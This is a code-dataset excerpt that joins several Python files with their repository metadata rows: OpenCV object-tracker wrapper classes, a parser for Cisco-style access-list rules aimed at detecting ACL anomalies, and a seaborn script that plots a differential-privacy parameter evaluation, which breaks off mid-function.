alpha=alpha,
tol=tol,
max_iter=max_iter,
)
return (converged, iter_num)
| 46.686099 | 320 | 0.615983 | 3,235 | 20,822 | 3.890572 | 0.052859 | 0.035595 | 0.049976 | 0.019069 | 0.967583 | 0.964564 | 0.959399 | 0.95932 | 0.95932 | 0.958605 | 0 | 0.023195 | 0.229757 | 20,822 | 445 | 321 | 46.791011 | 0.761566 | 0.673566 | 0 | 0.756477 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.051813 | false | 0 | 0.015544 | 0 | 0.119171 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
e1e3e7f7ef4fa64fba1f16c98e9b760e85219746 | 6,468 | py | Python | object_tracking/tracker.py | MrRiahi/Object-Detection-and-Tracking-OpenCV | 16f670d47e0a5b3aa8849e2d5a97e7d8998b0002 | [
"MIT"
] | null | null | null | object_tracking/tracker.py | MrRiahi/Object-Detection-and-Tracking-OpenCV | 16f670d47e0a5b3aa8849e2d5a97e7d8998b0002 | [
"MIT"
] | null | null | null | object_tracking/tracker.py | MrRiahi/Object-Detection-and-Tracking-OpenCV | 16f670d47e0a5b3aa8849e2d5a97e7d8998b0002 | [
"MIT"
] | null | null | null | import numpy as np
import cv2
# -------------------------------------------------------------------------
class MILTracker:
def __init__(self):
self.tracker = None
def init(self, frame, bbox):
"""
Initialize the MIL tracker.
:param frame: first frame for initialization.
:param bbox: the first bounding box of the object.
:return:
"""
self.tracker = cv2.TrackerMIL_create()
self.tracker.init(frame, bbox)
def update(self, frame):
"""
Track the object in the frame and return its bounding box.
:param frame: first frame for initialization.
:return:
"""
ret, bbox = self.tracker.update(frame)
return ret, bbox
# -------------------------------------------------------------------------
class KCFTracker:
def __init__(self):
self.tracker = None
def init(self, frame, bbox):
"""
Initialize the KCF tracker.
:param frame: first frame for initialization.
:param bbox: the first bounding box of the object.
:return:
"""
self.tracker = cv2.TrackerKCF_create()
self.tracker.init(frame, bbox)
def update(self, frame):
"""
Track the object in the frame and return its bounding box.
:param frame: first frame for initialization.
:return:
"""
ret, bbox = self.tracker.update(frame)
return ret, bbox
# -------------------------------------------------------------------------
class CSRTTracker:
def __init__(self):
self.tracker = None
def init(self, frame, bbox):
"""
Initialize the CSRT tracker
:param frame: first frame for initialization.
:param bbox: the first bounding box of the object.
:return:
"""
self.tracker = cv2.TrackerCSRT_create()
self.tracker.init(frame, bbox)
def update(self, frame):
"""
Track the object in the frame and return its bounding box.
:param frame: first frame for initialization.
:return:
"""
ret, bbox = self.tracker.update(frame)
return ret, bbox
# -------------------------------------------------------------------------
class MOSSETacker:
def __init__(self):
self.tracker = None
def init(self, frame, bbox):
"""
Initialize the MOSSE tracker
:param frame: first frame for initialization.
:param bbox: the first bounding box of the object.
:return:
"""
self.tracker = cv2.legacy.TrackerMOSSE_create()
self.tracker.init(frame, bbox)
def update(self, frame):
"""
Track the object in the frame and return its bounding box.
:param frame: first frame for initialization.
:return:
"""
ret, bbox = self.tracker.update(frame)
return ret, bbox
# -------------------------------------------------------------------------
class TLDTracker:
def __init__(self):
self.tracker = None
def init(self, frame, bbox):
"""
Initialize the TLD tracker
:param frame: first frame for initialization.
:param bbox: the first bounding box of the object.
:return:
"""
self.tracker = cv2.legacy.TrackerTLD_create()
self.tracker.init(frame, bbox)
def update(self, frame):
"""
Track the object in the frame and return its bounding box.
:param frame: first frame for initialization.
:return:
"""
ret, bbox = self.tracker.update(frame)
return ret, bbox
# -------------------------------------------------------------------------
class BoostingTracker:
def __init__(self):
self.tracker = None
def init(self, frame, bbox):
"""
Initialize the Boosting tracker
:param frame: first frame for initialization.
:param bbox: the first bounding box of the object.
:return:
"""
self.tracker = cv2.legacy.TrackerBoosting_create()
self.tracker.init(frame, bbox)
def update(self, frame):
"""
Track the object in the frame and return its bounding box.
:param frame: first frame for initialization.
:return:
"""
ret, bbox = self.tracker.update(frame)
return ret, bbox
# -------------------------------------------------------------------------
class DaSiamRPNTacker:
def __init__(self):
self.tracker = None
self.params = cv2.TrackerDaSiamRPN_Params()
self.params.model = './object_tracking/models/dasiamrpn/dasiamrpn_model.onnx'
self.params.kernel_cls1 = './object_tracking/models/dasiamrpn/dasiamrpn_kernel_cls1.onnx'
self.params.kernel_r1 = './object_tracking/models/dasiamrpn/dasiamrpn_kernel_r1.onnx'
def init(self, frame, bbox):
"""
Initialize the DaSiamRPN tracker
:param frame: first frame for initialization.
:param bbox: the first bounding box of the object.
:return:
"""
self.tracker = cv2.TrackerDaSiamRPN_create(self.params)
self.tracker.init(frame, bbox)
def update(self, frame):
"""
Track the object in the frame and return its bounding box.
:param frame: first frame for initialization.
:return:
"""
ret, bbox = self.tracker.update(frame)
return ret, bbox
# -------------------------------------------------------------------------
class GOTURNTracker:
def __init__(self):
self.tracker = None
self.params = cv2.TrackerGOTURN_Params()
self.params.modelTxt = './object_tracking/models/goturn/goturn.prototxt'
self.params.modelBin = './object_tracking/models/goturn/goturn.caffemodel'
def init(self, frame, bbox):
"""
Initialize the GOTURN tracker
:param frame: first frame for initialization.
:param bbox: the first bounding box of the object.
:return:
"""
self.tracker = cv2.TrackerGOTURN_create(self.params)
self.tracker.init(frame, bbox)
def update(self, frame):
"""
Track the object in the frame and return its bounding box.
:param frame: first frame for initialization.
:return:
"""
ret, bbox = self.tracker.update(frame)
return ret, bbox
| 26.617284 | 97 | 0.542981 | 667 | 6,468 | 5.184408 | 0.101949 | 0.101793 | 0.050896 | 0.092539 | 0.874783 | 0.845286 | 0.819838 | 0.800752 | 0.800752 | 0.778195 | 0 | 0.003233 | 0.282622 | 6,468 | 242 | 98 | 26.727273 | 0.742026 | 0.399969 | 0 | 0.691358 | 0 | 0 | 0.085086 | 0.085086 | 0 | 0 | 0 | 0 | 0 | 1 | 0.296296 | false | 0 | 0.024691 | 0 | 0.518519 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 8 |
e1f2216a0f6a365ab6ed2acc5db92b92ac880bf9 | 10,678 | py | Python | acl.py | Zogheen/it254DetectACLAnomalies | bfda3cb3b25c5e35ec807650013799e8787b0257 | [
"MIT"
] | null | null | null | acl.py | Zogheen/it254DetectACLAnomalies | bfda3cb3b25c5e35ec807650013799e8787b0257 | [
"MIT"
] | null | null | null | acl.py | Zogheen/it254DetectACLAnomalies | bfda3cb3b25c5e35ec807650013799e8787b0257 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import re
class acl:
def __init__(self, **kwargs):
self.text = kwargs.get('text', '')
self.parse(self.text)
def parse(self, text):
self.list = re.findall("\s(\S+)", text)
self.index = 0
self.group = self.list[self.index]
self.index +=1
if self.list[self.index].lower() == 'dynamic':
index +=2
if self.list[self.index].lower() == 'timeout':
index +=2
self.rule = self.list[self.index]
self.index +=1
self.protocol = self.list[self.index]
self.index +=1
if self.protocol.lower() == 'icmp':
if self.list[self.index] == 'any':
self.source = acl.src('any','any','any')
self.index+=3
else:
self.source = acl.src(self.list[self.index], self.list[self.index+1], 'any')
self.index+=3
if self.list[self.index] == 'any':
self.dest = acl.dst('any','any','any')
self.index+=3
else:
self.dest = acl.dst(self.list[self.index], self.list[self.index+1], 'any')
self.index+=3
elif self.protocol.lower() == 'tcp' or self.protocol.lower() == 'udp' or self.protocol.lower() == 'ip':
#Source
if self.list[self.index] == 'any':
if self.list[self.index+1] == 'eq':
self.source = acl.src('any','any',self.list[self.index+2])
self.index+=3
elif self.list[self.index+1] == 'gt':
self.source = acl.src('any','any',self.list[self.index+3], self.list[self.index+2])
self.index+=3
elif self.list[self.index+1] == 'lt':
self.source = acl.src('any','any',self.list[self.index+3], self.list[self.index+2])
self.index+=3
elif self.list[self.index+1] == 'neq':
self.source = acl.src('any','any',self.list[self.index+3], self.list[self.index+2])
self.index+=3
self.index+=3
else:
self.source = acl.src('any','any','any')
self.index+=1
else:
if self.list[self.index+2] == 'eq':
self.source = acl.src(self.list[self.index],self.list[self.index+1],self.list[self.index+3])
self.index+=4
elif self.list[self.index+2] == 'gt':
self.source = acl.src(self.list[self.index],self.list[self.index+1],self.list[self.index+3], self.list[self.index+2])
self.index+=4
elif self.list[self.index+2] == 'lt':
self.source = acl.src(self.list[self.index],self.list[self.index+1],self.list[self.index+3], self.list[self.index+2])
self.index+=4
elif self.list[self.index+2] == 'neq':
self.source = acl.src(self.list[self.index],self.list[self.index+1],self.list[self.index+3], self.list[self.index+2])
self.index+=4
else:
self.source = acl.src(self.list[self.index],self.list[self.index+1],'any')
self.index+=2
#Destination
if self.list[self.index] == 'any':
if self.index+1 < len(self.list)-1:
if self.list[self.index+1] == 'eq':
self.dest = acl.dst('any','any',self.list[self.index+2])
elif self.list[self.index+1] == 'gt':
self.dest = acl.dst('any','any',self.list[self.index+2],self.list[self.index+1])
elif self.list[self.index+1] == 'lt':
self.dest = acl.dst('any','any',self.list[self.index+2],self.list[self.index+1])
elif self.list[self.index+1] == 'neq':
self.dest = acl.dst('any','any',self.list[self.index+2],self.list[self.index+1])
self.index+=4
else:
self.dest = acl.dst('any','any','any')
self.index+=1
else:
self.dest = acl.dst('any','any','any')
self.index+=1
else:
if self.index+2 < len(self.list)-1:
if self.list[self.index+2] == 'eq':
self.dest = acl.dst(self.list[self.index],self.list[self.index+1],self.list[self.index+3])
elif self.list[self.index+2] == 'gt':
self.dest = acl.dst(self.list[self.index],self.list[self.index+1],self.list[self.index+3],self.list[self.index+2])
elif self.list[self.index+2] == 'lt':
self.dest = acl.dst(self.list[self.index],self.list[self.index+1],self.list[self.index+3],self.list[self.index+2])
elif self.list[self.index+2] == 'neq':
self.dest = acl.dst(self.list[self.index],self.list[self.index+1],self.list[self.index+3],self.list[self.index+2])
self.index+=4
else:
self.dest = acl.dst(self.list[self.index],self.list[self.index+1],'any')
self.index+=3
else:
self.dest = acl.dst(self.list[self.index],self.list[self.index+1],'any')
self.index+=3
if self.index < len(self.list)-1:
if self.list[self.index+1] == 'established':
self.established = True
else:
self.established = False
else:
self.established = False
else:
if self.list[self.index]:
if self.list[self.index] == 'any':
self.source = acl.src('any','any','any')
self.index+=1
else:
self.source = acl.src(self.list[self.index], self.list[self.index+1], 'any')
self.index+=2
if self.list[self.index] == 'any':
self.dest = acl.dst('any','any','any')
self.index+=3
else:
self.dest = acl.dst(self.list[self.index], self.list[self.index+1], 'any')
self.index+=3
pass
pass
def tostring(self):
return [self.group, self.rule, self.protocol, self.source.tostring(), self.dest.tostring(), self.established]
class src:
def __init__(self, *args):
self.addr = args[0]
self.mask = args[1]
if self.addr == 'any':
self.addr = "..."
else:
tmp = self.mask.split(".")
count = 0
for i in tmp:
if i == '255':
count += 1
tmp2 = self.addr.split(".")
for i in range(count):
tmp2.pop()
self.addr = ".".join(tmp2)
for i in range(self.addr.count("."), 3):
self.addr += "."
self.port = args[2]
if (len(args) > 3):
self.mod = args[4]
if self.port == 'http':
self.port = 80
if self.port == 'www':
self.port = 80
if self.port == 'https':
self.port = 443
if self.port == 'smtp':
self.port = 25
if self.port == 'ftp':
self.port = 21
if self.port == 'telnet':
self.port = 23
if self.port == 'ssh':
self.port = 22
if self.port == 'dns':
self.port = 53
if self.port == 'dhcp':
self.port = 67
elif self.port == 'any':
self.port = 0
def tostring(self):
return [self.addr, self.port]
def encompass(self, ip):
tmp1 = self.addr.split(".")
tmp2 = ip.addr.split(".")
for i in range(0, len(tmp1)):
if tmp1[i] == '':
return True
if tmp1[i] != tmp2[i]:
return False
return True
class dst:
def __init__(self, *args):
self.addr = args[0]
self.mask = args[1]
if self.addr == 'any':
self.addr = "..."
else:
tmp = self.mask.split(".")
count = 0
for i in tmp:
if i == '255':
count += 1
tmp2 = self.addr.split(".")
for i in range(count):
tmp2.pop()
self.addr = ".".join(tmp2)
for i in range(self.addr.count("."), 3):
self.addr += "."
self.port = args[2]
if (len(args) > 3):
self.mod = args[4]
elif self.port == 'http':
self.port = 80
elif self.port == 'www':
self.port = 80
elif self.port == 'https':
self.port = 443
elif self.port == 'smtp':
self.port = 25
elif self.port == 'ftp':
self.port = 21
elif self.port == 'telnet':
self.port = 23
elif self.port == 'ssh':
self.port = 22
elif self.port == 'dns':
self.port = 53
elif self.port == 'dhcp':
self.port = 67
elif self.port == 'any':
self.port = 0
elif self.port.isnumeric():
self.port = int(self.port)
def tostring(self):
return [self.addr, self.port]
def encompass(self, ip):
tmp1 = self.addr.split(".")
tmp2 = ip.addr.split(".")
for i in range(0, len(tmp1)):
if tmp1[i] == '':
return True
if tmp1[i] != tmp2[i]:
return False
return True
#self.group, self.rule, self.protocol, self.source, = re.findall("^access-list\s(\S+)\s(\S+)\s(\S+)\s(\S+)\s(\S+)\s(\S+)", text)
| 42.883534 | 139 | 0.427327 | 1,245 | 10,678 | 3.655422 | 0.074699 | 0.235333 | 0.2294 | 0.324984 | 0.891672 | 0.874753 | 0.784663 | 0.773237 | 0.718963 | 0.68886 | 0 | 0.02904 | 0.422738 | 10,678 | 248 | 140 | 43.056452 | 0.70928 | 0.015546 | 0 | 0.791304 | 0 | 0 | 0.033333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.03913 | false | 0.017391 | 0.004348 | 0.013043 | 0.095652 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
e1fea6b0eb7239fd26143f3b099de5deb511ccdc | 27,828 | py | Python | Evaluation/plot_param.py | Martin-Bauer/privacy-aware-ppinot | a707dcb238be53c8d1b61094e0d0733f231e5b8e | [
"MIT"
] | 2 | 2020-01-18T22:16:26.000Z | 2021-04-27T15:51:32.000Z | Evaluation/plot_param.py | Martin-Bauer/privacy-aware-ppinot | a707dcb238be53c8d1b61094e0d0733f231e5b8e | [
"MIT"
] | null | null | null | Evaluation/plot_param.py | Martin-Bauer/privacy-aware-ppinot | a707dcb238be53c8d1b61094e0d0733f231e5b8e | [
"MIT"
] | 1 | 2021-12-17T12:06:46.000Z | 2021-12-17T12:06:46.000Z | import numpy as np
import random
import matplotlib.pyplot as plt
import seaborn as sns
import pandas as pd
def main():
font = {'family' : 'normal',
#'weight' : 'bold',
'size' : 22}
plt.rc('font', **font)
data = pd.read_csv("evaluation_params.csv",sep=";")
sns.set(font_scale=1.5)
sns.set_style("ticks")
#parameter analysis
print("Target Value")
plot_target_value_impact(data)
print("Falloff Factor")
plot_falloff_factor_impact(data)
print("Extension Factor")
plot_extension_impact(data)
print("No of Values")
plot_no_of_values_impact(data)
print("No of Values")
plot_distribution_impact(data)
#compare different mechanisms using ideal parameter settings for different epsilon
print("Sum Mechanisms")
plot_sum_comparison(data)
print("Mean Mechanisms")
plot_avg_comparison(data)
print("Min & Max Mechanisms")
plot_minmax_comparison(data)
print("Derived Measure")
plot_derived_comparison(data)
def plot_target_value_impact(data):
avg_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Avg_exp_falloff') &(data['Falloff Factor']==20) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)]
sum_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Sum_exp_falloff') &(data['Falloff Factor']==20) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)]
min_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Min_exp_falloff') &(data['Falloff Factor']==20) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)]
max_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Max_exp_falloff') &(data['Falloff Factor']==20) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)]
f, axes = plt.subplots(nrows=1, ncols=4,constrained_layout=True)
sns.boxplot(x="Target",
y="Result",
data=avg_df,
color="lightblue",ax=axes[0])
labels = [item.get_text() for item in axes[0].get_xticklabels()]
labels = ['w/o','-10','+10']
axes[0].set_xticklabels(labels)
axes[0].set_title('Mean')
axes[0].set_ylim(0,200)
sns.boxplot(x="Target",
y="Result",
data=sum_df,
color="lightblue",ax=axes[1])
axes[1].set_title('Sum')
labels = [item.get_text() for item in axes[1].get_xticklabels()]
labels = ['w/o','-100','+100']
axes[1].set_xticklabels(labels)
axes[1].set_ylim(0,40000)
sns.boxplot(x="Target",
y="Result",
data=min_df,
color="lightblue",ax=axes[2])
axes[2].set_title('Min')
labels = [item.get_text() for item in axes[2].get_xticklabels()]
labels = ['w/o','-10','+10']
axes[2].set_xticklabels(labels)
axes[2].set_ylim(0,200)
sns.boxplot(x="Target",
y="Result",
data=max_df,
color="lightblue",ax=axes[3])
axes[3].set_title('Max')
labels = [item.get_text() for item in axes[3].get_xticklabels()]
labels = ['w/o','-10','+10']
axes[3].set_xticklabels(labels)
axes[3].set_ylim(0,200)
for ax in axes:
ax.tick_params(axis='x',labelrotation=90)#, length=6, width=2)
ax.tick_params(axis='both', which='major')
ax.set_xlabel('Target Value')
ax.set_ylabel('')
axes[0].set_ylabel('Result')
axes[0].xaxis.labelpad=8
axes[2].xaxis.labelpad=8
axes[3].xaxis.labelpad=8
axes[0].axhline(97.765,color="blue",zorder=10)
axes[1].axhline(19553.0,color="blue",zorder=10)
axes[2].axhline(28.0,color="blue",zorder=10)
axes[3].axhline(170.0,color="blue",zorder=10)
#ax1.tick_params(length=6, width=2)
#f.subplots_adjust(wspace=1.0,top=0.55)
f.set_size_inches( 10.4, 3)
f.show()
f.savefig("plots/target_value.pdf",format="pdf")
return
def plot_falloff_factor_impact(data):
avg_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Avg_exp_falloff') &(data['Target']==87.765) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3)& (data['NoOfValues']==200.0)]
sum_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Sum_exp_falloff') &(data['Target']==19453.0) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3)& (data['NoOfValues']==200.0)]
min_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Min_exp_falloff') &(data['Target']==18.0) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3)& (data['NoOfValues']==200.0)]
max_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Max_exp_falloff') &(data['Target']==180.0) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3)& (data['NoOfValues']==200.0)]
f, axes = plt.subplots(nrows=1, ncols=4,constrained_layout=True)
sns.boxplot(x="Falloff Factor",
y="Result",
data=avg_df,
color="lightblue",ax=axes[0])
axes[0].set_title('Mean')
labels = [item.get_text() for item in axes[0].get_xticklabels()]
labels = ['1','5','10','20']
axes[0].set_xticklabels(labels)
axes[0].set_ylim(0,200)
sns.boxplot(x="Falloff Factor",
y="Result",
data=sum_df,
color="lightblue",ax=axes[1])
axes[1].set_title('Sum')
labels = [item.get_text() for item in axes[1].get_xticklabels()]
labels = ['1','5','10','20']
axes[1].set_xticklabels(labels)
axes[1].set_ylim(0,40000)
sns.boxplot(x="Falloff Factor",
y="Result",
data=min_df,
color="lightblue",ax=axes[2])
axes[2].set_title('Min')
labels = [item.get_text() for item in axes[2].get_xticklabels()]
labels = ['1','5','10','20']
axes[2].set_xticklabels(labels)
axes[2].set_ylim(0,200)
sns.boxplot(x="Falloff Factor",
y="Result",
data=max_df,
color="lightblue",ax=axes[3])
axes[3].set_title('Max')
labels = [item.get_text() for item in axes[3].get_xticklabels()]
labels = ['1','5','10','20']
axes[3].set_xticklabels(labels)
axes[3].set_ylim(0,200)
for ax in axes:
ax.tick_params(axis='x',labelrotation=90)
ax.tick_params(axis='both', which='major')
ax.set_xlabel('Falloff Factor')
ax.set_ylabel('')
axes[0].set_ylabel('Result')
axes[0].axhline(97.765,color="blue",zorder=10)
axes[1].axhline(19553.0,color="blue",zorder=10)
axes[2].axhline(28.0,color="blue",zorder=10)
axes[3].axhline(170.0,color="blue",zorder=10)
f.set_size_inches( 10.4, 3)
f.show()
f.savefig("plots/falloff_factor.pdf",format="pdf")
return
def plot_extension_impact(data):
avg_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Avg_exp') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='extend') & (data['NoOfValues']==200.0)]
sum_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Sum_exp') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='extend') & (data['NoOfValues']==200.0)]
min_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Min_exp') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='extend') & (data['NoOfValues']==200.0)]
max_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Max_exp') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='extend') & (data['NoOfValues']==200.0)]
f, axes = plt.subplots(nrows=1, ncols=4,constrained_layout=True)
sns.boxplot(x="Extension Factor",
y="Result",
data=avg_df,
color="lightblue",ax=axes[0])
axes[0].set_title('Mean')
labels = [item.get_text() for item in axes[0].get_xticklabels()]
labels = ['w/o','15%','30%']
axes[0].set_xticklabels(labels)
axes[0].set_ylim(-30,230)
sns.boxplot(x="Extension Factor",
y="Result",
data=sum_df,
color="lightblue",ax=axes[1])
axes[1].set_title('Sum')
labels = [item.get_text() for item in axes[1].get_xticklabels()]
labels = ['w/o','15%','30%']
axes[1].set_xticklabels(labels)
axes[1].set_ylim(-600,40600)
sns.boxplot(x="Extension Factor",
y="Result",
data=min_df,
color="lightblue",ax=axes[2])
axes[2].set_title('Min')
labels = [item.get_text() for item in axes[2].get_xticklabels()]
labels = ['w/o','15%','30%']
axes[2].set_xticklabels(labels)
axes[2].set_ylim(-30,230)
sns.boxplot(x="Extension Factor",
y="Result",
data=max_df,
color="lightblue",ax=axes[3])
axes[3].set_title('Max')
labels = [item.get_text() for item in axes[3].get_xticklabels()]
labels = ['w/o','15%','30%']
axes[3].set_xticklabels(labels)
axes[3].set_ylim(-30,230)
for ax in axes:
ax.tick_params(axis='x',labelrotation=90)
ax.tick_params(axis='both', which='major')
ax.set_ylabel('')
ax.set_xlabel('Extension Factor')
axes[0].set_ylabel('Result')
axes[0].axhline(97.765,color="blue",zorder=10)
axes[1].axhline(19553.0,color="blue",zorder=10)
axes[2].axhline(28.0,color="blue",zorder=10)
axes[3].axhline(170.0,color="blue",zorder=10)
f.set_size_inches( 10.4, 3)
f.show()
f.savefig("plots/extension_factor.pdf",format="pdf")
return
def plot_no_of_values_impact(data):
avg_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Avg_lap') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='minmax') & (data['Extension Factor']==1.3)]
bavg_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Avg_exp')& (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='minmax') & (data['Extension Factor']==1.3)]
f, axes = plt.subplots(nrows=1, ncols=2,constrained_layout=True)
sns.boxplot(x="NoOfValues",
y="Result",
data=avg_df,
color="lightblue",ax=axes[0])
axes[0].set_title('Laplace ')
labels = [item.get_text() for item in axes[0].get_xticklabels()]
labels = ['10','50','100','200']
axes[0].set_xticklabels(labels)
axes[0].set_ylim(0,200)
sns.boxplot(x="NoOfValues",
y="Result",
data=bavg_df,
color="lightblue",ax=axes[1])
axes[1].set_title('Interval')
labels = [item.get_text() for item in axes[1].get_xticklabels()]
labels = ['10','50','100','200']
axes[1].set_xticklabels(labels)
axes[1].set_ylim(0,200)
for ax in axes:
ax.tick_params(axis='x',labelrotation=90)
ax.tick_params(axis='both', which='major')
ax.set_xlabel('No of Values')
ax.set_ylabel('')
axes[0].set_ylabel('Result')
ax.axhline(89.8,xmin=0,xmax=0.25,color="blue",zorder=10)
ax.axhline(96.14,xmin=0.25,xmax=0.5,color="blue",zorder=10)
ax.axhline(95.34,xmin=0.5,xmax=0.75,color="blue",zorder=10)
ax.axhline(97.765,xmin=0.75,xmax=1.0,color="blue",zorder=10)
f.set_size_inches( 5.2, 3)
f.savefig("plots/noOfValues_mean.pdf",format="pdf")
f.show()
sum_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Sum_lap') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='minmax') & (data['Extension Factor']==1.3)]
bsum_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Sum_exp')& (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='minmax') & (data['Extension Factor']==1.3)]
f, axes = plt.subplots(nrows=1, ncols=2,constrained_layout=True)
sns.boxplot(x="NoOfValues",
y="Result",
data=sum_df,
color="lightblue",ax=axes[0])
axes[0].set_title('Laplace')
labels = [item.get_text() for item in axes[0].get_xticklabels()]
labels = ['10','50','100','200']
axes[0].set_xticklabels(labels)
axes[0].set_ylim(0,40000)
sns.boxplot(x="NoOfValues",
y="Result",
data=bsum_df,
color="lightblue",ax=axes[1])
axes[1].set_title('Interval')
labels = [item.get_text() for item in axes[1].get_xticklabels()]
labels = ['10','50','100','200']
axes[1].set_xticklabels(labels)
axes[1].set_ylim(0,40000)
for ax in axes:
ax.tick_params(axis='x',labelrotation=90)
ax.tick_params(axis='both', which='major')
ax.set_xlabel('No of Values')
ax.set_ylabel('')
axes[0].set_ylabel('Result')
ax.axhline(898.0,xmin=0,xmax=0.25,color="blue",zorder=10)
ax.axhline(4807.0,xmin=0.25,xmax=0.5,color="blue",zorder=10)
ax.axhline(9534.0,xmin=0.5,xmax=0.75,color="blue",zorder=10)
ax.axhline(19553.0,xmin=0.75,xmax=1.0,color="blue",zorder=10)
f.set_size_inches( 5.2, 3)
f.savefig("plots/noOfValues_sum.pdf",format="pdf")
f.show()
return
def plot_distribution_impact(data):
min_exp_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Min_exp') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3)]
max_exp_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Max_exp') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3)]
f, axes = plt.subplots(nrows=1, ncols=2,constrained_layout=True)
sns.boxplot(x="NoOfValues",
y="Result",
data=min_exp_df,
color="lightblue",ax=axes[0])
axes[0].set_title('Min')
labels = [item.get_text() for item in axes[0].get_xticklabels()]
labels = ['10','50','100','200']
axes[0].set_xticklabels(labels)
axes[0].set_ylim(0,200)
sns.boxplot(x="NoOfValues",
y="Result",
data=max_exp_df,
color="lightblue",ax=axes[1])
axes[1].set_title('Max')
labels = [item.get_text() for item in axes[1].get_xticklabels()]
labels = ['10','50','100','200']
axes[1].set_xticklabels(labels)
axes[1].set_ylim(0,200)
for ax in axes:
ax.tick_params(axis='x',labelrotation=90)
ax.tick_params(axis='both', which='major')
ax.set_xlabel('No of Values')
ax.set_ylabel('')
axes[0].set_ylabel('Result')
axes[0].axhline(28,xmin=0,xmax=0.25,color="blue",zorder=10)
axes[0].axhline(28,xmin=0.25,xmax=0.5,color="blue",zorder=10)
axes[0].axhline(28,xmin=0.5,xmax=0.75,color="blue",zorder=10)
axes[0].axhline(28,xmin=0.75,xmax=1.0,color="blue",zorder=10)
axes[1].axhline(147,xmin=0,xmax=0.25,color="blue",zorder=10)
axes[1].axhline(170,xmin=0.25,xmax=0.5,color="blue",zorder=10)
axes[1].axhline(170,xmin=0.5,xmax=0.75,color="blue",zorder=10)
axes[1].axhline(170,xmin=0.75,xmax=1.0,color="blue",zorder=10)
f.set_size_inches( 5.2, 3)
f.tight_layout()
f.show()
f.savefig("plots/noOfValues_minmax_gaussian.pdf",format="pdf")
min_exp_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='pareto') & (data['Method']=='Min_exp') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3)]
max_exp_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='pareto') & (data['Method']=='Max_exp') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3)]
f, axes = plt.subplots(nrows=1, ncols=2,constrained_layout=True)
sns.boxplot(x="NoOfValues",
y="Result",
data=min_exp_df,
color="lightblue",ax=axes[0])
axes[0].set_title('Min')
labels = [item.get_text() for item in axes[0].get_xticklabels()]
